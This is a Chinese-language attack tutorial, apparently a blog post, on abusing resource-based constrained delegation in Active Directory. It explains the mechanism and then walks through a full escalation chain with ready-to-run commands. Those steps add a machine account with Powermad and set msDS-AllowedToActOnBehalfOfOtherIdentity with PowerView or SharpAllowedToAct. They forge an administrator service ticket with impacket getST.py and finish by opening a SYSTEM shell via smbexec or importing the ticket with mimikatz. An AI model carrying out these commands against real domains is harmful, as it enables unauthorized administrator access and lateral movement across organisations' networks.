一、基于资源的约束性委派的原理:
在windows server 2012开始加入了新功能(基于资源的约束性委派RBCD),而且不需要域管理员去设置相关属性,RBCD把设置委派的权限赋予了机器自身,机器自己可以决定谁可以被委派来控制我,也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD,简单来说就是如果我们拥有了配置某台机器msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,那么我们就对这台机器拥有完全控制的权限,以下这些拥有配置msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:
1.将某机器加入域的域用户2.机器自身3.域管理员
我们可以利用域用户添加一个机器账户作为服务1,注意是机器账户,不是普通账户,普通账户没有SPN,因为S4U2self协议会用到SPN,而且通过S4U2Self得到的ST服务票证是不可被转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的,但是在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证,如果我们可以在服务2上配置允许服务1的资源约束委派,就可以通过服务1利用S4U2self向KDC请求用于访问自身的票据,在使用S4U2Proxy转发此票据去请求访问服务2的票据,最终就可以模拟任何用户去访问服务2了
通过资源约束委派可以通过普通域用户权限以管理员的身份去访问特定主机的服务(cifs等),可以实现本地权限提升,但是不能完全具有域管的所有权限(如进行dcsync等),或者利用资源约束委派横向拿下所有被该普通域用户拉进域内的机器权限
二、基于资源的约束性委派的配置:
1、用一个域用户test2将机器加入域中
去查看机器用户的mS-DS-CreatorSID属性,域用户拉进来的都有这个属性,如果没有说明是被域管理员拉进来到域内中的
三、基于资源的约束性委派的利用:
攻击需要的前提条件:
1.机器账户:是由某个域用户创建的主机,只要拿下这个域账户,那么就能拿下这个域用户所创建的所有机器账户的最高权限(默认每个域用户能创10个机器账户)
2.拥有一个有权修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的域用户账号密码(将机器拉进域的域用户)、或者在account operators组内的域用户
3.域控需要是server2012和2012 R2以上的(因为2008及以下没有msDS-AllowedToActOnBehalfOfOtherIdentity属性)
4.任意用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击,所以可以枚举域内ACL策略,查看哪些对主机有GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限,都是可以的
实战攻击场景:
1.域内机器+spn账户 2.域内机器+域内用户(将机器加入域的域用户)
Part One-本地权限提升:
假设我们通过横向拿下了一台域内主机WIN-2008,该主机登录的域用户是test2,我们想要提升至管理员权限做更多的事情,如抓密码等等,在不考虑使用其他提权方式的情况下,通过ldap查询发现该test2域用户正是将域内主机xxx拉进域内的域用户,所以test2是可以修改该主机WIN-2008的msDS-AllowedToActOnBehalfOfOtherIdentity属性的,所以我们可以通过test2用户创建一个机器账户rbcdtest,然后再通过修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,配置rbcdtest机器账户到域内主机WIN-2008的基于资源约束的委派,然后请求票据,最终以管理员权限访问域内主机WIN-2008实现本地提权
拿到的主机权限为test2普通域用户:
①查询被域用户创建的机器账户列表:
AdFind.exe -b "DC=域名,DC=域名后缀" -f "objectClass=computer" mS-DS-CreatorSID //在域主机执行或者AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
mS-DS-CreatorSID对应的就是一个域用户,表示是该域用户将这台机器拉进域的
②根据查询出来的sid找出对应的用户名:
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(objectsid=指定的sid))" objectclass cn dn
然后就能获取到sid对应的用户名,发现正是当前登录用户test2
③添加一个机器账户,用于申请票据
#利用 powermad 添加机器账户rbcdtest 密码 rbcdtestpowershell -exec bypass "Import-module .\Powermad.ps1;New-MachineAccount -MachineAccount rbcdtest -Password $(ConvertTo-SecureString \"rbcdtest\" -AsPlainText -Force)"
# 验证是否添加成功net group "domain computers" /domain
④获取新添加的机器账户rbcdtest的object sid
powershell -exec bypass "Import-Module .\powerview.ps1;Get-DomainComputer -Identity rbcdtest" //后面是机器账号
可以看到新添加的机器账户的sid,使用的是empire下的powerview :
⑤修改 win-2008 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值,配置新添加的机器账户rbcdtest到win-2008的基于资源的约束性委派
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;新添加rbcdtest机器账户的sid)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN-2008(要配置msDS-xxx属性值的主机名) | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"
可以看到成功为win-2008主机配置:
⑥验证是否成功添加属性:
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-DomainComputer win-2008 -Properties msds-allowedtoactonbehalfofotheridentity"
回显如下就是添加成功:
如需清除属性可以使用如下命令:
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Set-DomainObject win-2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose"
⑦利用机器账户rbcdtest请求服务票据(可挂socks代理执行)
python3 getST.py -dc-ip 域控ip 域名全称/新添加的机器账户名\$:密码 -spn cifs/win-2008.hack.com -impersonate administrator
会在当前目录下生成 administrator.ccache 文件,此票据对于win-2008主机具有最高权限,但并不是完全的域管权限
⑧导入票据
# 使用export配置linux主机环境变量,再利用impacket的smbexec获取shell:
# 指定环境变量的值为上一步生成的.cccahe文件,windows可以使用set设置export KRB5CCNAME=administrator.ccache
获取shell:
python3 smbexec.py -no-pass -k WIN-2008.hack.com(一定要是这种fqdn的格式)
可以看到获取到了win-2008的system权限
如果出现拒绝连接,如下图:
需要修改攻击机的/etc/resolv.conf文件中的dns指向域控ip:
# 使用mimikatz导入:
kerberos::ptc administrator.ccache
就能成功以域管理员权限访问win-2008了
dir \\win2008\c$
或者使用rebues进行票据的申请和导入
但是感觉没有impacket来得方便,就不搞了
假设我们拿到了test2用户的账号密码,或者是test2用户属于account operators组,操作方式类似
①添加机器账户这一步,可以改成:
python3 addcomputer.py -method SAMR -dc-ip 域控ip -computer-name 自定义机器名 -computer-pass 密码 "域名全称/已知的域用户名:密码"
成功添加机器账户rbcdtest1:
②然后直接使用jumbo大佬改写的脚本SharpAllowedToAct进行利用,修改msDS-xxx的值,配置新添加的机器账户rbcdtest1:
# 其中-m参数为你新添加的机器账号,-u为有权限修改msDS-xxx属性值的域用户,-p是密码,-t要攻击的机器名win-2008,-a为域控地址(可以是fqdn或者ip),-d为域名,如:SharpAllowedToAct.exe -m rbcdtest1 -u test2 -p 222qqq... -t win-2008 -a PANDA.hack.com -d hack.com
已经成功设置属性值:
可以利用大佬写的另一个脚本rbcd_search进行查询:
search_rbcd.exe -u 随意域用户 -p 密码 -a 域控地址 -d 域名全称
就可以看到rbcdtest1到WIN-2008的基于资源的约束性委派设置,该脚本可以枚举域内所有配置了基于资源的约束性委派的主机:
SharpAllowedToAct加上-c参数可以清除配置的msDS-xxx属性值
SharpAllowedToAct.exe -m rbcdtest1 -u test2 -p 222qqq... -t win-2008 -a PANDA.hack.com -d hack.com -c ture
可以看到成功清除:
③请求票据->导入票据->获取shell:
当MAQ为0时的利用,也就是设置了域用户可创建机器账户的数量为0,这时就无法通过添加机器账户再设置资源委派了,但是可以通过设置为自己委派自己,通过低权限申请可转发的票据进行利用
https://mp.weixin.qq.com/s/TsovWF4CfW3NpRq0GFFfAA